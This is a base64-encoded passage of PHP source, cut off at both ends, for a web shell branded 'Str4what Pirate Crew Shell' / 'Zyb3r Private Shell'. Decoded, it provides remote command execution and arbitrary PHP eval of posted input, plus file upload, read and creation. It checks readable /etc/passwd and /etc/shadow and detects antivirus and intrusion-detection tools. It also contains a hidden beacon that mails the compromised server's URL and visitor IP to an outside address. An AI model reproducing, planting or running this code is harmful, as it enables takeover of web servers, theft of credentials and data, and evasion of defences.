J3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQogICAgICAgICAgICBmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJGR3bmxkci49ICRpdGVtMi4nLCc7IH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7DQogICAgICAgIH0NCiAgICB9IGVsc2UgeyANCiAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsNCiAgICB9IA0KICAgIGVjaG8gJzx0YWJsZSBjbGFzcz0iaW5mbyIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMTYwcHgiPjxkaXYgY2xhc3M9ImxvZ28iPjxpbWcgc3JjPSJodHRwOi8vaTQ0LnRpbnlwaWMuY29tLzExNzVua2ouZ2lmIiBpZD0ibG9nbyIgaGVpZ2h0PSI3NSUiIHdpZHRoPSI5MCUiLz48L2Rpdj48aHIgc3R5bGU9Im1hcmdpbjogLTVweCAxM3B4IDJweCAxN3B4O3dpZHRoOjE2MHB4OyI+PGRpdiBjbGFzcz0iZWNhMSI+U3RyNHdoYXQ8L2Rpdj48ZGl2IGNsYXNzPSJlY2EyIj5QMXJhdGUgQ3JldzwvZGl2PjwvdGQ+DQogICAgICAgICAgPHRkPjx0YWJsZSBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIGNsYXNzPSJucG9hZCI+PHRyPjx0ZCB3aWR0aD0iMTI1cHg7Ij48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4NCiAgICAgICAgICA8dHI+PHRkPjxzcGFuPlVzZXI8L3NwYW4+PC90ZD48dGQ+OiAnLiR1aWQuJyAoICcuJHVzZXIuJyApIDxzcGFuPkdyb3VwOiA8L3NwYW4+ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+U2VydmVyPC9zcGFuPjwvdGQ+PHRkPjogJy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+VXNlZnVsPC9zcGFuPjwvdGQ+PHRkPjogJy4kdXNlZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRvd25sb2FkZXJzPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5EaXNhYmxlZCBmdW5jdGlvbnM8L3NwYW4+PC90ZD48dGQ+OiAnLigkZGlzYWJsZV9mdW5jdGlvbnM/JGRpc2FibGVfZnVuY3Rpb25zOidBbGwgRnVuY3Rpb24gRW5hYmxlJykuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPicuKCRHTE9CQUxTWydvcyddID09ICd3aW4nPydEcml2ZXM8YnIgLz5Dd2QnOidDd2QnKS4nPC9zcGFuPjwvdGQ+PHRkPjogJy4kZHJpdmVzLicnLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+Jy4NCiAgICAgICAgICc8dGQgd2lkdGg9MT48bm9icj48c3Bhbj5TZXJ2ZXIgSVA8L3NwYW4+PGJyPjxzcGFuPkNsaWVudCBJUDwvc3Bhbj48YnIgLz48c3Bhbj5IREQ8L3NwYW4+PGJyIC8+PHNwYW4+RnJlZTwvc3Bhbj48YnIgLz48c3Bhbj5QSFA8L3NwYW4+PGJyIC8+PHNwYW4+U2FmZSBNb2RlPC9zcGFuPjxiciAvPjxzcGFuPkRvbWFpbnM8L3NwYW4+PC9ub2JyPjwvdGQ+Jy4NCiAgICAgICAgICc8dGQ+PG5vYnI+OiAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPGJyIC8+OiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nPGJyIC8+OiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj46ICcuQHBocHZlcnNpb24oKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+PGJyIC8+OiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0nLiRjb2xvci4nPGI+T0ZGPC9iPjwvZm9udD4nKS4nPGJyIC8+OiAnLiRkMGMuJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLg0KICAgICAgICAgJzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MnB4OyI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1O2JhY2tncm91bmQ6IzQ0NDsiPic7DQp9DQoNCmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgew0KICAgICRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250IGNvbG9yPSM2Njk5ZmY+WyBXcml0ZWFibGUgXTwvZm9udD4iOiI8Zm9udCBjb2xvcj1yZWQ+WyBOb3Qgd3JpdGFibGUgXTwvZm9udD4iOw0KDQplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6IzQ0NDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0OyI+DQo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+DQogICAgPHRyPg0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc01hblwnLG51bGwsXCdta2RpclwnLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlLFwnbWtmaWxlXCcpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdDb25zb2xlXCcsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPg0KICAgICAgICA8dGQ+PGZvcm0gbWV0aG9kPSJwb3N0IiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iRmlsZXNNQW4iPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9InVwbG9hZEZpbGUiPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPg0KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPg0KICAgIDwvdHI+DQo8L3RhYmxlPjwvZGl2PjwvZGl2Pg0KPGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOiM0NDQ7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDo1cHggc29saWQgIzQ0NDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+U3RyNHdoYXQgUGlyYXRlIENyZXcgU2hlbGwnLlZFUlNJT04uJywgJmNvcHk7IFp5YjNyIFByaXZhdGUgU2hlbGw8L2Rpdj48L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5PjwvaHRtbD4nOw0KfQ0KDQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9DQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9DQoNCmlmKCFpc3NldCgkX1NFU1NJT05bJ3RyaW1pdGUnXSkpew0KICAgICR1cmw9JF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLic8YnIgLz5Vc2VyIElQOiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLihpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSk/JygnLiRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLicpJzonJyk7DQogICAgQG1haWwoInp5YmVyLmhhY2tlckB5YWhvby5jb20iLCJaeWIzcl9TaGVsbF8yLjAiLCR1cmwpOw0KICAgICRfU0VTU0lPTlsndHJpbWl0ZSddPXRydWU7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7DQogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KICAgIGVsc2VpZigkcyA+PSAxMDI0KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rpb24gcGVybXMoJHApIHsNCiAgICBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KICAgIGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KICAgIGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQogICAgZWxzZSAkaSA9ICd1JzsNCiAgICAkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KICAgICRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCiAgICByZXR1cm4gJGk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7IA0KICAgIGlmICghQGlzX3JlYWRhYmxlKCRmKSkNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQogICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMzM5OUNDPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQp9DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgew0KICAgIGZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgew0KICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsNCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgew0KICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICBmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7DQogICAgICAgICR2ID0gdHJpbSgkdik7DQogICAgICAgIGlmKCR2KSB7DQogICAgICAgICAgICBlY2hvICc8c3Bhbj4nLiRuLic6IDwvc3Bhbj4nOw0KICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpDQogICAgICAgICAgICAgICAgZWNobyAkdi4nPGJyPic7DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBzaG93U2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10pPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7DQogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsNCiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7DQogICAgc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOw0KICAgIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7DQogICAgJHRlbXA9YXJyYXkoKTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQ0KICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCiAgICAgICAgJHRlbXBbXSA9ICJNU1NRTCI7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpDQogICAgICAgICR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQ0KICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7DQogICAgc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KICAgIGVjaG8gJzxicj4nOw0KICAgIA0KICAgIGlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsNCiAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7DQogICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOw0KICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICBzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7DQogICAgICAgIHNob3dTZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7DQogICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgIGVjaG8gJzxicj4nOw0KICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9DQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9DQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30NCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgIGVjaG8gJzxici8+JzsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsgDQogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgDQogICAgICAgIHNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsZXgoJ25ldCB1c2VyJykpOw0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsNCiAgICBpZiggaXNzZXQoJF9QT1NUWydhamF4J10pICkgew0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsNCiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQogICAgICAgIGV4aXQ7IA0KICAgIH0NCiAgICBwcmludEhlYWRlcigpOw0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSApIHsNCiAgICAgICAgZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGhwaW5mbygpOw0KICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5IHsuKn0hbXNpVScsJycsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchaDEhbXNpVScsJ2gyJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsNCiAgICAgICAgZWNobyAkdG1wOw0KICAgICAgICBlY2hvICc8L2Rpdj48YnI+JzsNCiAgICB9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCiAgICAgICAgZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNp